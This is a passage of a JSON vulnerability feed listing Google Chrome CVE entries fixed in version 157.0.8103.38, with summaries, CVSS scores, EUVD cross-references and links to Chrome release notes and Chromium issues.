Low)","published_time":"2026-11-03T20:43:01","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/565505280"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121176","summary":"Uninitialized resource in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568986882"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:25","euvd":{"id":"EUVD-2026-116303","description":"Uninitialized resource in Media in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:50","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568986882"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121162","summary":"UI misrepresentation in Notifications in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563362904"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116353","description":"UI misrepresentation in Notifications in Google Chrome on on Windows prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:00","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/563362904"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121163","summary":"Improper input validation in Browser in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556221528"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116478","description":"Improper input validation in Browser in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to execute arbitrary code outside the sandbox via crafted network traffic. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:46","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556221528"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121164","summary":"Incorrect authorization in Views in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568972388"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116300","description":"Incorrect authorization in Views in Google Chrome on on Mac prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:49","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568972388"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121165","summary":"UI misrepresentation in Mobile in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553262220"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116336","description":"UI misrepresentation in Mobile in Google Chrome on on Android prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to spoof UI elements via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:57","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553262220"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121166","summary":"Type confusion in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566111382"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116518","description":"Type confusion in PDFium in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted PDF file. (Chromium security severity: High)","published_time":"2026-11-03T20:42:25","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/566111382"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121167","summary":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571960472"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116314","description":"Incorrect authorization in Permissions in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:52","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571960472"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121168","summary":"Improper resource exposure in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553161888"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:24","euvd":{"id":"EUVD-2026-116329","description":"Improper resource exposure in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:55","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553161888"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121143","summary":"Uninitialized resource in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574376940"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116412","description":"Uninitialized resource in GPU in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:32","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/574376940"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121148","summary":"Use after free in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571059182"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116400","description":"Use after free in ANGLE in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:30","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/571059182"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121156","summary":"Buffer overflow in Dawn in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","cvss":9.6,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":9.6,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567735302"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116498","description":"Buffer overflow in Dawn in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: Critical)","published_time":"2026-11-03T20:42:21","cvss":9.6,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567735302"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121157","summary":"Incorrect authorization in Chromoting in Google Chrome prior to 157.0.8103.38 allowed a local attacker to bypass system access restrictions via a local program. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/533070896"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116326","description":"Incorrect authorization in Chromoting in Google Chrome prior to 157.0.8103.38 allowed a local attacker to bypass system access restrictions via a local program. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:55","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/533070896"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121158","summary":"Information leak in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569005114"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116306","description":"Information leak in Paint in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:51","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/569005114"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121159","summary":"Incorrect authorization in History in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957377"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116345","description":"Incorrect authorization in History in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/562957377"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121160","summary":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577352772"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116428","description":"Out of bounds read in Skia in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to read memory outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:35","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577352772"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121161","summary":"Information leak in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/495903812"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:23","euvd":{"id":"EUVD-2026-116446","description":"Information leak in BackgroundFetch in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:39","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/495903812"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121135","summary":"Security issue in Platform in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578671521"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116315","description":"Security issue in Platform in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to bypass web origin policy via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:53","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578671521"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121136","summary":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553145250"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116471","description":"Missing authorization in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass system access restrictions via crafted network traffic. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:44","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553145250"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121137","summary":"Type confusion in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577352626"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116427","description":"Type confusion in DevTools in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:35","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577352626"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121138","summary":"Observable discrepancy in CORS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553249728"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116332","description":"Observable discrepancy in CORS in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:56","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/553249728"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121140","summary":"Out of bounds read in Internals in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.3,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.3,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/557605839"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116513","description":"Out of bounds read in Internals in Google Chrome prior to 157.0.8103.38 allowed a remote attacker who had compromised the renderer process to potentially execute arbitrary code outside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:24","cvss":8.3,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/557605839"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121141","summary":"Improper input validation in Editing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578083806"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116369","description":"Improper input validation in Editing in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:03","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/578083806"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121142","summary":"Incorrect authorization in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567956457"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:22","euvd":{"id":"EUVD-2026-116364","description":"Incorrect authorization in Network in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to bypass web origin policy via a crafted Chrome extension. (Chromium security severity: Low)","published_time":"2026-11-03T20:43:02","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/567956457"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121128","summary":"Use after free in Scheduling in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568988525"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116304","description":"Use after free in Scheduling in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","published_time":"2026-11-03T20:42:50","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/568988525"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121129","summary":"Use after free in WebRTC in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","cvss":8.8,"cvss_version":3.0,"cvss_v2":null,"cvss_v3":8.8,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577403757"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116433","description":"Use after free in WebRTC in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","published_time":"2026-11-03T20:42:36","cvss":8.8,"cvss_version":"3.1","epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/577403757"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121130","summary":"Observable discrepancy in Forms in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556233596"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116342","description":"Observable discrepancy in Forms in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain sensitive information via a crafted HTML page. (Chromium security severity: Low)","published_time":"2026-11-03T20:42:58","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/556233596"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121131","summary":"Use after free in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570026889"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116396","description":"Use after free in Mobile in Google Chrome prior to 157.0.8103.38 allowed a remote attacker leveraging social engineering to execute arbitrary code outside the sandbox via a crafted Chrome extension. (Chromium security severity: High)","published_time":"2026-11-03T20:42:29","cvss":0.0,"cvss_version":null,"epss":0.0,"assigner":"Chrome","references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/570026889"],"products":["Chrome"],"vendors":["Google"]},"ghsa":null},{"cve_id":"CVE-2026-121132","summary":"Information leak in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: Medium)","cvss":null,"cvss_version":null,"cvss_v2":null,"cvss_v3":null,"cvss_v4":null,"epss":null,"ranking_epss":null,"kev":false,"propose_action":null,"ransomware_campaign":null,"references":["https://chromereleases.googleblog.com/2026/11/stable-channel-update-for-desktop.html","https://issues.chromium.org/issues/564190098"],"vendor":null,"product":null,"version":null,"published_time":"2026-11-03T21:17:21","euvd":{"id":"EUVD-2026-116288","description":"Information leak in V8 in Google Chrome prior to 157.0.8103.38 allowed a remote attacker to obtain cross-origin data via a crafted HTML page. (Chromium security severity: 